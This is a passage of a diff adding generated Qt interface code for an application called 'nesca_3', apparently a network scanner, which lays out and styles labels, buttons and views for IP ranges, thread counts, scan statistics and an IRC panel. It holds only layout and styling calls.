labelBaThreads->setObjectName(QStringLiteral("labelBaThreads")); + labelBaThreads->setGeometry(QRect(20, 290, 71, 20)); + labelBaThreads->setFont(font3); + labelBaThreads->setStyleSheet(QStringLiteral("color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);")); + labelIpRange_Value = new QLabel(widget); + labelIpRange_Value->setObjectName(QStringLiteral("labelIpRange_Value")); + labelIpRange_Value->setGeometry(QRect(100, 230, 331, 20)); + QSizePolicy sizePolicy(QSizePolicy::Preferred, QSizePolicy::Preferred); + sizePolicy.setHorizontalStretch(0); + sizePolicy.setVerticalStretch(0); + sizePolicy.setHeightForWidth(labelIpRange_Value->sizePolicy().hasHeightForWidth()); + labelIpRange_Value->setSizePolicy(sizePolicy); + labelIpRange_Value->setFont(font3); + labelIpRange_Value->setAutoFillBackground(false); + labelIpRange_Value->setStyleSheet(QStringLiteral("color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);")); + labelThreads_Value = new QLabel(widget); + labelThreads_Value->setObjectName(QStringLiteral("labelThreads_Value")); + labelThreads_Value->setGeometry(QRect(100, 260, 81, 20)); + labelThreads_Value->setFont(font3); + labelThreads_Value->setStyleSheet(QStringLiteral("color: rgb(216, 216, 216); background-color: rgba(2, 2, 2, 0);")); + labelBAThreads_Value = new QLabel(widget); + labelBAThreads_Value->setObjectName(QStringLiteral("labelBAThreads_Value")); + labelBAThreads_Value->setGeometry(QRect(100, 290, 61, 20)); + labelBAThreads_Value->setFont(font3); + labelBAThreads_Value->setStyleSheet(QStringLiteral("color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);")); + labelIPS = new QLabel(widget); + labelIPS->setObjectName(QStringLiteral("labelIPS")); + labelIPS->setGeometry(QRect(20, 350, 61, 20)); + labelIPS->setFont(font3); + labelIPS->setStyleSheet(QStringLiteral("color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);")); + labelIPS_Value = new QLabel(widget); + labelIPS_Value->setObjectName(QStringLiteral("labelIPS_Value")); + labelIPS_Value->setGeometry(QRect(100, 350, 106, 20)); + labelIPS_Value->setFont(font3); + labelIPS_Value->setStyleSheet(QStringLiteral("color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);")); + dataText = new QTextBrowser(widget); + dataText->setObjectName(QStringLiteral("dataText")); + dataText->setGeometry(QRect(20, 445, 453, 326)); + QFont font8; + font8.setFamily(QStringLiteral("Eurostile")); + font8.setPointSize(8); + font8.setBold(false); + font8.setUnderline(false); + font8.setWeight(50); + dataText->setFont(font8); + dataText->setStyleSheet(QStringLiteral("background-color: rgb(26, 26,26); border: 1px solid white;")); + dataText->setLocale(QLocale(QLocale::Japanese, QLocale::Japan)); + dataText->setFrameShape(QFrame::NoFrame); + dataText->setFrameShadow(QFrame::Plain); + dataText->setSizeAdjustPolicy(QAbstractScrollArea::AdjustIgnored); + dataText->setUndoRedoEnabled(false); + dataText->setLineWrapMode(QTextEdit::NoWrap); + dataText->setReadOnly(true); + dataText->setCursorWidth(5); + dataText->setTextInteractionFlags(Qt::TextBrowserInteraction); + dataText->setOpenExternalLinks(true); + dataText->setOpenLinks(false); + labelParsed = new QLabel(widget); + labelParsed->setObjectName(QStringLiteral("labelParsed")); + labelParsed->setGeometry(QRect(20, 375, 73, 20)); + sizePolicy.setHeightForWidth(labelParsed->sizePolicy().hasHeightForWidth()); + labelParsed->setSizePolicy(sizePolicy); + labelParsed->setMinimumSize(QSize(0, 0)); + labelParsed->setFont(font3); + labelParsed->setStyleSheet(QStringLiteral("color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);")); + labelParsed->setLineWidth(1); + labelParsed->setWordWrap(false); + labelParsed_Value = new QLabel(widget); + labelParsed_Value->setObjectName(QStringLiteral("labelParsed_Value")); + labelParsed_Value->setGeometry(QRect(100, 375, 108, 20)); + labelParsed_Value->setFont(font3); + labelParsed_Value->setStyleSheet(QStringLiteral("color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);")); + labelStatus = new QLabel(widget); + labelStatus->setObjectName(QStringLiteral("labelStatus")); + labelStatus->setGeometry(QRect(11, 783, 41, 10)); + sizePolicy.setHeightForWidth(labelStatus->sizePolicy().hasHeightForWidth()); + labelStatus->setSizePolicy(sizePolicy); + labelStatus->setMinimumSize(QSize(0, 0)); + labelStatus->setFont(font3); + labelStatus->setStyleSheet(QStringLiteral("color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);")); + labelStatus->setLineWidth(1); + labelStatus->setWordWrap(false); + labelStatus_Value = new QLabel(widget); + labelStatus_Value->setObjectName(QStringLiteral("labelStatus_Value")); + labelStatus_Value->setGeometry(QRect(51, 783, 101, 10)); + labelStatus_Value->setFont(font3); + labelStatus_Value->setStyleSheet(QStringLiteral("color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);")); + labelTargetsLeft = new QLabel(widget); + labelTargetsLeft->setObjectName(QStringLiteral("labelTargetsLeft")); + labelTargetsLeft->setGeometry(QRect(20, 320, 61, 20)); + labelTargetsLeft->setFont(font3); + labelTargetsLeft->setStyleSheet(QStringLiteral("color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);")); + labelTargetsLeft_Value = new QLabel(widget); + labelTargetsLeft_Value->setObjectName(QStringLiteral("labelTargetsLeft_Value")); + labelTargetsLeft_Value->setGeometry(QRect(100, 320, 114, 20)); + labelTargetsLeft_Value->setFont(font3); + labelTargetsLeft_Value->setStyleSheet(QStringLiteral("color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);")); + line_2 = new QFrame(widget); + line_2->setObjectName(QStringLiteral("line_2")); + line_2->setWindowModality(Qt::NonModal); + line_2->setGeometry(QRect(10, 210, 480, 16)); + line_2->setAutoFillBackground(false); + line_2->setStyleSheet(QStringLiteral("color: white;background-color: rgba(2, 2, 2, 0);")); + line_2->setFrameShadow(QFrame::Plain); + line_2->setFrameShape(QFrame::HLine); + graphicLog = new QGraphicsView(widget); + graphicLog->setObjectName(QStringLiteral("graphicLog")); + graphicLog->setGeometry(QRect(220, 265, 270, 100)); + graphicLog->setStyleSheet(QStringLiteral("background-color: rgb(26, 26,26); border: 1px solid white;")); + graphicLog->setVerticalScrollBarPolicy(Qt::ScrollBarAlwaysOff); + graphicLog->setHorizontalScrollBarPolicy(Qt::ScrollBarAlwaysOff); + RedLabel = new QLabel(widget); + RedLabel->setObjectName(QStringLiteral("RedLabel")); + RedLabel->setEnabled(true); + RedLabel->setGeometry(QRect(235, 370, 8, 5)); + RedLabel->setStyleSheet(QStringLiteral("background-color: red; visible: false;")); + YellowLabel = new QLabel(widget); + YellowLabel->setObjectName(QStringLiteral("YellowLabel")); + YellowLabel->setGeometry(QRect(235, 400, 8, 5)); + YellowLabel->setStyleSheet(QStringLiteral("background-color: #52b4e5;")); + GreenLabel = new QLabel(widget); + GreenLabel->setObjectName(QStringLiteral("GreenLabel")); + GreenLabel->setGeometry(QRect(370, 370, 8, 5)); + GreenLabel->setStyleSheet(QStringLiteral("background-color: green;")); + BlueLabel = new QLabel(widget); + BlueLabel->setObjectName(QStringLiteral("BlueLabel")); + BlueLabel->setGeometry(QRect(235, 385, 8, 5)); + BlueLabel->setStyleSheet(QStringLiteral("background-color: blue;")); + CyanLabel = new QLabel(widget); + CyanLabel->setObjectName(QStringLiteral("CyanLabel")); + CyanLabel->setGeometry(QRect(370, 385, 8, 5)); + CyanLabel->setStyleSheet(QStringLiteral("background-color: rgb(255, 85, 0);")); + PinkLabel = new QLabel(widget); + PinkLabel->setObjectName(QStringLiteral("PinkLabel")); + PinkLabel->setGeometry(QRect(370, 400, 8, 5)); + PinkLabel->setStyleSheet(QStringLiteral("background-color: violet;")); + labelAnomaly = new QLabel(widget); + labelAnomaly->setObjectName(QStringLiteral("labelAnomaly")); + labelAnomaly->setGeometry(QRect(250, 368, 91, 8)); + labelAnomaly->setFont(font4); + labelAnomaly->setLayoutDirection(Qt::RightToLeft); + labelAnomaly->setStyleSheet(QStringLiteral("color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);")); + labelAnomaly->setTextFormat(Qt::AutoText); + labelAnomaly->setAlignment(Qt::AlignLeading|Qt::AlignLeft|Qt::AlignVCenter); + labelBA = new QLabel(widget); + labelBA->setObjectName(QStringLiteral("labelBA")); + labelBA->setGeometry(QRect(250, 383, 61, 8)); + labelBA->setFont(font4); + labelBA->setStyleSheet(QStringLiteral("color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);")); + labelFiltered = new QLabel(widget); + labelFiltered->setObjectName(QStringLiteral("labelFiltered")); + labelFiltered->setGeometry(QRect(385, 383, 51, 8)); + labelFiltered->setFont(font4); + labelFiltered->setStyleSheet(QStringLiteral("color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);")); + labelBads = new QLabel(widget); + labelBads->setObjectName(QStringLiteral("labelBads")); + labelBads->setGeometry(QRect(385, 368, 91, 8)); + labelBads->setFont(font4); + labelBads->setStyleSheet(QStringLiteral("color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);")); + labelOverloads = new QLabel(widget); + labelOverloads->setObjectName(QStringLiteral("labelOverloads")); + labelOverloads->setGeometry(QRect(250, 398, 51, 8)); + labelOverloads->setFont(font4); + labelOverloads->setStyleSheet(QStringLiteral("color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);")); + labelLowloads = new QLabel(widget); + labelLowloads->setObjectName(QStringLiteral("labelLowloads")); + labelLowloads->setGeometry(QRect(385, 398, 61, 8)); + labelLowloads->setFont(font4); + labelLowloads->setStyleSheet(QStringLiteral("color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);")); + logoLabel = new QPushButton(widget); + logoLabel->setObjectName(QStringLiteral("logoLabel")); + logoLabel->setGeometry(QRect(11, 10, 21, 20)); + logoLabel->setStyleSheet(QStringLiteral("border:none; background-color:black;")); + QIcon icon1; + icon1.addFile(QStringLiteral(":/nesca_3/nesca.ico"), QSize(), QIcon::Normal, QIcon::Off); + logoLabel->setIcon(icon1); + WhiteLabel = new QLabel(widget); + WhiteLabel->setObjectName(QStringLiteral("WhiteLabel")); + WhiteLabel->setGeometry(QRect(370, 415, 8, 5)); + WhiteLabel->setStyleSheet(QStringLiteral("background-color: white;")); + labelAlives = new QLabel(widget); + labelAlives->setObjectName(QStringLiteral("labelAlives")); + labelAlives->setGeometry(QRect(385, 413, 61, 8)); + labelAlives->setFont(font4); + labelAlives->setStyleSheet(QStringLiteral("color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);")); + graphicLog_2 = new QGraphicsView(widget); + graphicLog_2->setObjectName(QStringLiteral("graphicLog_2")); + graphicLog_2->setGeometry(QRect(220, 265, 270, 100)); + graphicLog_2->setStyleSheet(QStringLiteral("border:none;background-color: rgba(26, 26,26, 0);")); + graphicLog_2->setVerticalScrollBarPolicy(Qt::ScrollBarAlwaysOff); + graphicLog_2->setHorizontalScrollBarPolicy(Qt::ScrollBarAlwaysOff); + graphicLog_2->setRenderHints(QPainter::HighQualityAntialiasing|QPainter::TextAntialiasing); + graphicLog_2->setCacheMode(QGraphicsView::CacheNone); + me2ScanBut = new QPushButton(widget); + me2ScanBut->setObjectName(QStringLiteral("me2ScanBut")); + me2ScanBut->setGeometry(QRect(220, 253, 60, 10)); + QFont font9; + font9.setPointSize(7); + me2ScanBut->setFont(font9); + me2ScanBut->setStyleSheet(QStringLiteral("color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);border: 1px solid rgba(255, 255, 255, 40);")); + QoSScanBut = new QPushButton(widget); + QoSScanBut->setObjectName(QStringLiteral("QoSScanBut")); + QoSScanBut->setGeometry(QRect(281, 253, 60, 10)); + QoSScanBut->setFont(font9); + QoSScanBut->setStyleSheet(QStringLiteral("color: rgb(130, 130, 130);background-color: rgba(2, 2, 2, 0);border: 1px solid rgba(130, 130, 130, 80);")); + graphicDelim = new QGraphicsView(widget); + graphicDelim->setObjectName(QStringLiteral("graphicDelim")); + graphicDelim->setGeometry(QRect(220, 265, 270, 100)); + graphicDelim->setStyleSheet(QStringLiteral("border:none;background-color: rgba(26, 26,26, 0);")); + graphicDelim->setVerticalScrollBarPolicy(Qt::ScrollBarAlwaysOff); + graphicDelim->setHorizontalScrollBarPolicy(Qt::ScrollBarAlwaysOff); + graphicLog_Upper = new QGraphicsView(widget); + graphicLog_Upper->setObjectName(QStringLiteral("graphicLog_Upper")); + graphicLog_Upper->setGeometry(QRect(220, 265, 270, 100)); + graphicLog_Upper->setStyleSheet(QStringLiteral("border:none;background-color: rgba(26, 26,26, 0);")); + graphicLog_Upper->setVerticalScrollBarPolicy(Qt::ScrollBarAlwaysOff); + graphicLog_Upper->setHorizontalScrollBarPolicy(Qt::ScrollBarAlwaysOff); + graphicLog_Upper->setRenderHints(QPainter::TextAntialiasing); + graphicLog_Upper->setCacheMode(QGraphicsView::CacheNone); + labelBadAddr = new QLabel(widget); + labelBadAddr->setObjectName(QStringLiteral("labelBadAddr")); + labelBadAddr->setGeometry(QRect(19, 405, 73, 20)); + sizePolicy.setHeightForWidth(labelBadAddr->sizePolicy().hasHeightForWidth()); + labelBadAddr->setSizePolicy(sizePolicy); + labelBadAddr->setMinimumSize(QSize(0, 0)); + labelBadAddr->setFont(font3); + labelBadAddr->setStyleSheet(QStringLiteral("color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);")); + labelBadAddr->setLineWidth(1); + labelBadAddr->setWordWrap(false); + labelOffline_Value = new QLabel(widget); + labelOffline_Value->setObjectName(QStringLiteral("labelOffline_Value")); + labelOffline_Value->setGeometry(QRect(100, 405, 71, 20)); + labelOffline_Value->setFont(font3); + labelOffline_Value->setStyleSheet(QStringLiteral("color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);")); + BAText = new QTextBrowser(widget); + BAText->setObjectName(QStringLiteral("BAText")); + BAText->setGeometry(QRect(20, 445, 453, 326)); + BAText->setFont(font1); + BAText->setStyleSheet(QStringLiteral("background-color: rgb(26, 26,26); color:rgb(83, 83, 83);border: 1px solid white;")); + BAText->setLocale(QLocale(QLocale::Chinese, QLocale::China)); + BAText->setFrameShape(QFrame::NoFrame); + BAText->setFrameShadow(QFrame::Plain); + BAText->setUndoRedoEnabled(false); + BAText->setReadOnly(true); + BAText->setCursorWidth(5); + BAText->setTextInteractionFlags(Qt::LinksAccessibleByKeyboard|Qt::LinksAccessibleByMouse|Qt::TextBrowserInteraction|Qt::TextSelectableByKeyboard|Qt::TextSelectableByMouse); + BAText->setOpenExternalLinks(true); + switcherBut = new QPushButton(widget); + switcherBut->setObjectName(QStringLiteral("switcherBut")); + switcherBut->setGeometry(QRect(480, 500, 16, 205)); + switcherBut->setStyleSheet(QLatin1String("border: 1px solid rgb(216, 216, 216);\n" +"color: rgb(216, 216, 216);\n" +"background-color: #000000;")); + labelTracker = new QLabel(widget); + labelTracker->setObjectName(QStringLiteral("labelTracker")); + labelTracker->setGeometry(QRect(200, 783, 45, 10)); + sizePolicy.setHeightForWidth(labelTracker->sizePolicy().hasHeightForWidth()); + labelTracker->setSizePolicy(sizePolicy); + labelTracker->setMinimumSize(QSize(0, 0)); + labelTracker->setFont(font3); + labelTracker->setStyleSheet(QStringLiteral("color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);")); + labelTracker->setLineWidth(1); + labelTracker->setWordWrap(false); + graphicActivityGrid = new QGraphicsView(widget); + graphicActivityGrid->setObjectName(QStringLiteral("graphicActivityGrid")); + graphicActivityGrid->setGeometry(QRect(373, 780, 100, 16)); + graphicActivityGrid->setStyleSheet(QStringLiteral("border:1px solid white;background-color: rgba(26, 26,26, 0);")); + graphicActivityGrid->setVerticalScrollBarPolicy(Qt::ScrollBarAlwaysOff); + graphicActivityGrid->setHorizontalScrollBarPolicy(Qt::ScrollBarAlwaysOff); + graphicActivityGrid->setRenderHints(QPainter::Antialiasing|QPainter::HighQualityAntialiasing|QPainter::TextAntialiasing); + graphicActivityGrid->setCacheMode(QGraphicsView::CacheNone); + graphicActivity = new QGraphicsView(widget); + graphicActivity->setObjectName(QStringLiteral("graphicActivity")); + graphicActivity->setGeometry(QRect(373, 780, 100, 16)); + graphicActivity->setStyleSheet(QStringLiteral("border:none;background-color: rgba(26, 26,26, 0);")); + graphicActivity->setVerticalScrollBarPolicy(Qt::ScrollBarAlwaysOff); + graphicActivity->setHorizontalScrollBarPolicy(Qt::ScrollBarAlwaysOff); + graphicActivity->setRenderHints(QPainter::Antialiasing|QPainter::HighQualityAntialiasing|QPainter::TextAntialiasing); + graphicActivity->setCacheMode(QGraphicsView::CacheNone); + graphicTextPlacer = new QGraphicsView(widget); + graphicTextPlacer->setObjectName(QStringLiteral("graphicTextPlacer")); + graphicTextPlacer->setGeometry(QRect(162, 265, 328, 181)); + graphicTextPlacer->setStyleSheet(QStringLiteral("border:none;background-color: rgba(26, 26,26, 0);")); + graphicTextPlacer->setVerticalScrollBarPolicy(Qt::ScrollBarAlwaysOff); + graphicTextPlacer->setHorizontalScrollBarPolicy(Qt::ScrollBarAlwaysOff); + graphicTextPlacer->setRenderHints(QPainter::HighQualityAntialiasing); + graphicTextPlacer->setCacheMode(QGraphicsView::CacheNone); + VoiceScanBut = new QPushButton(widget); + VoiceScanBut->setObjectName(QStringLiteral("VoiceScanBut")); + VoiceScanBut->setGeometry(QRect(342, 253, 60, 10)); + VoiceScanBut->setFont(font9); + VoiceScanBut->setStyleSheet(QStringLiteral("color: rgb(130, 130, 130);background-color: rgba(2, 2, 2, 0);border: 1px solid rgba(130, 130, 130, 80);")); + graphicsVoice = new QGraphicsView(widget); + graphicsVoice->setObjectName(QStringLiteral("graphicsVoice")); + graphicsVoice->setGeometry(QRect(220, 265, 270, 100)); + graphicsVoice->setStyleSheet(QStringLiteral("border:1px white solid;background-color: rgba(26, 26,26, 0);")); + graphicsVoice->setVerticalScrollBarPolicy(Qt::ScrollBarAlwaysOff); + graphicsVoice->setHorizontalScrollBarPolicy(Qt::ScrollBarAlwaysOff); + graphicsVoice->setRenderHints(QPainter::TextAntialiasing); + graphicsVoice->setCacheMode(QGraphicsView::CacheNone); + clearLogBut = new QPushButton(widget); + clearLogBut->setObjectName(QStringLiteral("clearLogBut")); + clearLogBut->setGeometry(QRect(475, 445, 16, 21)); + clearLogBut->setFont(font9); + clearLogBut->setStyleSheet(QStringLiteral("color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);border: 1px solid rgba(255, 255, 255, 40);")); + secretMessageBut_1 = new QPushButton(widget); + secretMessageBut_1->setObjectName(QStringLiteral("secretMessageBut_1")); + secretMessageBut_1->setGeometry(QRect(415, 0, 5, 8)); + secretMessageBut_1->setStyleSheet(QStringLiteral("border: 0.5px solid #313131; background-color:qlineargradient(spread:pad, x1:0.511, y1:0.477727, x2:0.512, y2:0, stop:0 rgba(0, 0, 0, 255), stop:0.0113636 rgba(83, 83, 83, 255), stop:0.0568182 rgba(98, 98, 98, 255), stop:0.0625 rgba(167, 0, 0, 255), stop:1 rgba(255, 0, 0, 255))")); + secretMessageBut_2 = new QPushButton(widget); + secretMessageBut_2->setObjectName(QStringLiteral("secretMessageBut_2")); + secretMessageBut_2->setGeometry(QRect(420, 0, 5, 8)); + secretMessageBut_2->setStyleSheet(QStringLiteral("border: 0.5px solid #313131; background-color:qlineargradient(spread:pad, x1:0.511, y1:0.477727, x2:0.512, y2:0, stop:0 rgba(0, 0, 0, 255), stop:0.0113636 rgba(83, 83, 83, 255), stop:0.0568182 rgba(98, 98, 98, 255), stop:0.0625 rgba(167, 0, 0, 255), stop:1 rgba(255, 0, 0, 255))")); + secretMessageBut_3 = new QPushButton(widget); + secretMessageBut_3->setObjectName(QStringLiteral("secretMessageBut_3")); + secretMessageBut_3->setGeometry(QRect(425, 0, 5, 8)); + secretMessageBut_3->setStyleSheet(QStringLiteral("border: 0.5px solid #313131; background-color:qlineargradient(spread:pad, x1:0.511, y1:0.477727, x2:0.512, y2:0, stop:0 rgba(0, 0, 0, 255), stop:0.0113636 rgba(83, 83, 83, 255), stop:0.0568182 rgba(98, 98, 98, 255), stop:0.0625 rgba(167, 0, 0, 255), stop:1 rgba(255, 0, 0, 255))")); + secretMessageBut_4 = new QPushButton(widget); + secretMessageBut_4->setObjectName(QStringLiteral("secretMessageBut_4")); + secretMessageBut_4->setGeometry(QRect(430, 0, 5, 8)); + secretMessageBut_4->setStyleSheet(QStringLiteral("border: 0.5px solid #313131; background-color:qlineargradient(spread:pad, x1:0.511, y1:0.477727, x2:0.512, y2:0, stop:0 rgba(0, 0, 0, 255), stop:0.0113636 rgba(83, 83, 83, 255), stop:0.0568182 rgba(98, 98, 98, 255), stop:0.0625 rgba(167, 0, 0, 255), stop:1 rgba(255, 0, 0, 255))")); + secretMessageBut_5 = new QPushButton(widget); + secretMessageBut_5->setObjectName(QStringLiteral("secretMessageBut_5")); + secretMessageBut_5->setGeometry(QRect(435, 0, 5, 8)); + secretMessageBut_5->setStyleSheet(QStringLiteral("border: 0.5px solid #313131; background-color:qlineargradient(spread:pad, x1:0.511, y1:0.477727, x2:0.512, y2:0, stop:0 rgba(0, 0, 0, 255), stop:0.0113636 rgba(83, 83, 83, 255), stop:0.0568182 rgba(98, 98, 98, 255), stop:0.0625 rgba(167, 0, 0, 255), stop:1 rgba(255, 0, 0, 255))")); + secretMessageBut_6 = new QPushButton(widget); + secretMessageBut_6->setObjectName(QStringLiteral("secretMessageBut_6")); + secretMessageBut_6->setGeometry(QRect(440, 0, 5, 8)); + secretMessageBut_6->setStyleSheet(QStringLiteral("border: 0.5px solid #313131; background-color:qlineargradient(spread:pad, x1:0.511, y1:0.477727, x2:0.512, y2:0, stop:0 rgba(0, 0, 0, 255), stop:0.0113636 rgba(83, 83, 83, 255), stop:0.0568182 rgba(98, 98, 98, 255), stop:0.0625 rgba(167, 0, 0, 255), stop:1 rgba(255, 0, 0, 255))")); + secretMessageBut_7 = new QPushButton(widget); + secretMessageBut_7->setObjectName(QStringLiteral("secretMessageBut_7")); + secretMessageBut_7->setGeometry(QRect(445, 0, 5, 8)); + secretMessageBut_7->setStyleSheet(QStringLiteral("border: 0.5px solid #313131; background-color:qlineargradient(spread:pad, x1:0.511, y1:0.477727, x2:0.512, y2:0, stop:0 rgba(0, 0, 0, 255), stop:0.0113636 rgba(83, 83, 83, 255), stop:0.0568182 rgba(98, 98, 98, 255), stop:0.0625 rgba(167, 0, 0, 255), stop:1 rgba(255, 0, 0, 255))")); + secretMessageBut_8 = new QPushButton(widget); + secretMessageBut_8->setObjectName(QStringLiteral("secretMessageBut_8")); + secretMessageBut_8->setGeometry(QRect(450, 0, 5, 8)); + secretMessageBut_8->setStyleSheet(QStringLiteral("border: 0.5px solid #313131; background-color:qlineargradient(spread:pad, x1:0.511, y1:0.477727, x2:0.512, y2:0, stop:0 rgba(0, 0, 0, 255), stop:0.0113636 rgba(83, 83, 83, 255), stop:0.0568182 rgba(98, 98, 98, 255), stop:0.0625 rgba(167, 0, 0, 255), stop:1 rgba(255, 0, 0, 255))")); + newMessageLabel = new QLabel(widget); + newMessageLabel->setObjectName(QStringLiteral("newMessageLabel")); + newMessageLabel->setGeometry(QRect(265, 53, 70, 10)); + sizePolicy.setHeightForWidth(newMessageLabel->sizePolicy().hasHeightForWidth()); + newMessageLabel->setSizePolicy(sizePolicy); + newMessageLabel->setMinimumSize(QSize(0, 0)); + newMessageLabel->setFont(font3); + newMessageLabel->setStyleSheet(QStringLiteral("color:rgb(255, 0, 0);background-color: rgba(2, 2, 2, 0);")); + newMessageLabel->setLineWidth(1); + newMessageLabel->setWordWrap(false); + PieStatBut = new QPushButton(widget); + PieStatBut->setObjectName(QStringLiteral("PieStatBut")); + PieStatBut->setGeometry(QRect(403, 253, 60, 10)); + PieStatBut->setFont(font9); + PieStatBut->setStyleSheet(QStringLiteral("color: rgb(130, 130, 130);background-color: rgba(2, 2, 2, 0);border: 1px solid rgba(130, 130, 130, 80);")); + trayButton = new QPushButton(widget); + trayButton->setObjectName(QStringLiteral("trayButton")); + trayButton->setGeometry(QRect(455, 10, 10, 20)); + trayButton->setStyleSheet(QStringLiteral("background-color: rgba(0, 0, 0, 0);")); + DredLabel = new QLabel(widget); + DredLabel->setObjectName(QStringLiteral("DredLabel")); + DredLabel->setGeometry(QRect(235, 417, 8, 5)); + DredLabel->setStyleSheet(QStringLiteral("background-color: rgb(85, 0, 0);")); + labelSSH = new QLabel(widget); + labelSSH->setObjectName(QStringLiteral("labelSSH")); + labelSSH->setGeometry(QRect(250, 415, 61, 8)); + labelSSH->setFont(font4); + labelSSH->setStyleSheet(QStringLiteral("color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);")); + rVerLabel = new QLabel(widget); + rVerLabel->setObjectName(QStringLiteral("rVerLabel")); + rVerLabel->setEnabled(true); + rVerLabel->setGeometry(QRect(36, 15, 86, 10)); + sizePolicy.setHeightForWidth(rVerLabel->sizePolicy().hasHeightForWidth()); + rVerLabel->setSizePolicy(sizePolicy); + rVerLabel->setMinimumSize(QSize(0, 0)); + rVerLabel->setFont(font3); + rVerLabel->setStyleSheet(QStringLiteral("color:rgb(255, 0, 0);background-color: rgba(2, 2, 2, 0);")); + rVerLabel->setLineWidth(1); + rVerLabel->setWordWrap(false); + NSTrackStatusLabel = new QLabel(widget); + NSTrackStatusLabel->setObjectName(QStringLiteral("NSTrackStatusLabel")); + NSTrackStatusLabel->setEnabled(true); + NSTrackStatusLabel->setGeometry(QRect(249, 785, 8, 8)); + NSTrackStatusLabel->setStyleSheet(QStringLiteral("background-color: black; border: 1px solid white;")); + graphicTextPlacer->raise(); + BAText->raise(); + labelNesca_3->raise(); + tabMainWidget->raise(); + line->raise(); + exitButton->raise(); + labelIpRange->raise(); + labelThreads->raise(); + labelBaThreads->raise(); + labelIpRange_Value->raise(); + labelThreads_Value->raise(); + labelBAThreads_Value->raise(); + labelIPS->raise(); + labelIPS_Value->raise(); + dataText->raise(); + labelParsed->raise(); + labelParsed_Value->raise(); + labelStatus->raise(); + labelStatus_Value->raise(); + labelTargetsLeft->raise(); + labelTargetsLeft_Value->raise(); + line_2->raise(); + RedLabel->raise(); + YellowLabel->raise(); + GreenLabel->raise(); + BlueLabel->raise(); + CyanLabel->raise(); + PinkLabel->raise(); + labelAnomaly->raise(); + labelBA->raise(); + labelFiltered->raise(); + labelBads->raise(); + labelOverloads->raise(); + labelLowloads->raise(); + graphicLog->raise(); + logoLabel->raise(); + WhiteLabel->raise(); + labelAlives->raise(); + me2ScanBut->raise(); + QoSScanBut->raise(); + graphicDelim->raise(); + graphicLog_2->raise(); + graphicLog_Upper->raise(); + labelBadAddr->raise(); + labelOffline_Value->raise(); + switcherBut->raise(); + labelTracker->raise(); + graphicActivityGrid->raise(); + graphicActivity->raise(); + VoiceScanBut->raise(); + graphicsVoice->raise(); + clearLogBut->raise(); + secretMessageBut_1->raise(); + secretMessageBut_2->raise(); + secretMessageBut_3->raise(); + secretMessageBut_4->raise(); + secretMessageBut_5->raise(); + secretMessageBut_6->raise(); + secretMessageBut_7->raise(); + secretMessageBut_8->raise(); + newMessageLabel->raise(); + PieStatBut->raise(); + trayButton->raise(); + DredLabel->raise(); + labelSSH->raise(); + rVerLabel->raise(); + NSTrackStatusLabel->raise(); + widgetIRC = new QWidget(centralWidget); + widgetIRC->setObjectName(QStringLiteral("widgetIRC")); + widgetIRC->setGeometry(QRect(500, 44, 498, 730)); + QPalette palette; + QLinearGradient gradient(0.541, 0.500364, 0.54, 0); + gradient.setSpread(QGradient::PadSpread); + gradient.setCoordinateMode(QGradient::ObjectBoundingMode); + gradient.setColorAt(0, QColor(16, 16, 16, 255)); + gradient.setColorAt(1, QColor(0, 0, 0, 255)); + QBrush brush(gradient); + palette.setBrush(QPalette::Active, QPalette::Button, brush); + QLinearGradient gradient1(0.541, 0.500364, 0.54, 0); + gradient1.setSpread(QGradient::PadSpread); + gradient1.setCoordinateMode(QGradient::ObjectBoundingMode); + gradient1.setColorAt(0, QColor(16, 16, 16, 255)); + gradient1.setColorAt(1, QColor(0, 0, 0, 255)); + QBrush brush1(gradient1); + palette.setBrush(QPalette::Active, QPalette::Base, brush1); + QLinearGradient gradient2(0.541, 0.500364, 0.54, 0); + gradient2.setSpread(QGradient::PadSpread); + gradient2.setCoordinateMode(QGradient::ObjectBoundingMode); + gradient2.setColorAt(0, QColor(16, 16, 16, 255)); + gradient2.setColorAt(1, QColor(0, 0, 0, 255)); + QBrush brush2(gradient2); + palette.setBrush(QPalette::Active, QPalette::Window, brush2); + QLinearGradient gradient3(0.541, 0.500364, 0.54, 0); + gradient3.setSpread(QGradient::PadSpread); + gradient3.setCoordinateMode(QGradient::ObjectBoundingMode); + gradient3.setColorAt(0, QColor(16, 16, 16, 255)); + gradient3.setColorAt(1, QColor(0, 0, 0, 255)); + QBrush brush3(gradient3); + palette.setBrush(QPalette::Inactive, QPalette::Button, brush3); + QLinearGradient gradient4(0.541, 0.500364, 0.54, 0); + gradient4.setSpread(QGradient::PadSpread); + gradient4.setCoordinateMode(QGradient::ObjectBoundingMode); + gradient4.setColorAt(0, QColor(16, 16, 16, 255)); + gradient4.setColorAt(1, QColor(0, 0, 0, 255)); + QBrush brush4(gradient4); + palette.setBrush(QPalette::Inactive, QPalette::Base, brush4); + QLinearGradient gradient5(0.541, 0.500364, 0.54, 0); + gradient5.setSpread(QGradient::PadSpread); + gradient5.setCoordinateMode(QGradient::ObjectBoundingMode); + gradient5.setColorAt(0, QColor(16, 16, 16, 255)); + gradient5.setColorAt(1, QColor(0, 0, 0, 255)); + QBrush brush5(gradient5); + palette.setBrush(QPalette::Inactive, QPalette::Window, brush5); + QLinearGradient gradient6(0.541, 0.500364, 0.54, 